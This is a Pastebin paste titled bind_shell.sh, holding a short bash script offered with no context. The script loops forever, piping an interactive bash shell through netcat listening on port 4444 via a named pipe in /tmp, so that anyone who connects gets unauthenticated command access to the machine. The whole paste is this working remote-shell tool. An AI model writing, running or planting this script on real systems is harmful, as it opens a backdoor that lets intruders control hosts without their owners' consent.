cyberking

bind_shell.sh

Jun 18th, 2026
10,882
1
Never
13
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.21 KB | None | 1 0
  1. #!/bin/bash
  2. PORT=4444
  3. echo "Starting bind shell on port $PORT..."
  4. while true; do
  5. rm -f /tmp/fifo
  6. mkfifo /tmp/fifo
  7. cat /tmp/fifo | /bin/bash -i 2>&1 | nc -lvnp $PORT > /tmp/fifo
  8. sleep 5
  9. done
Advertisement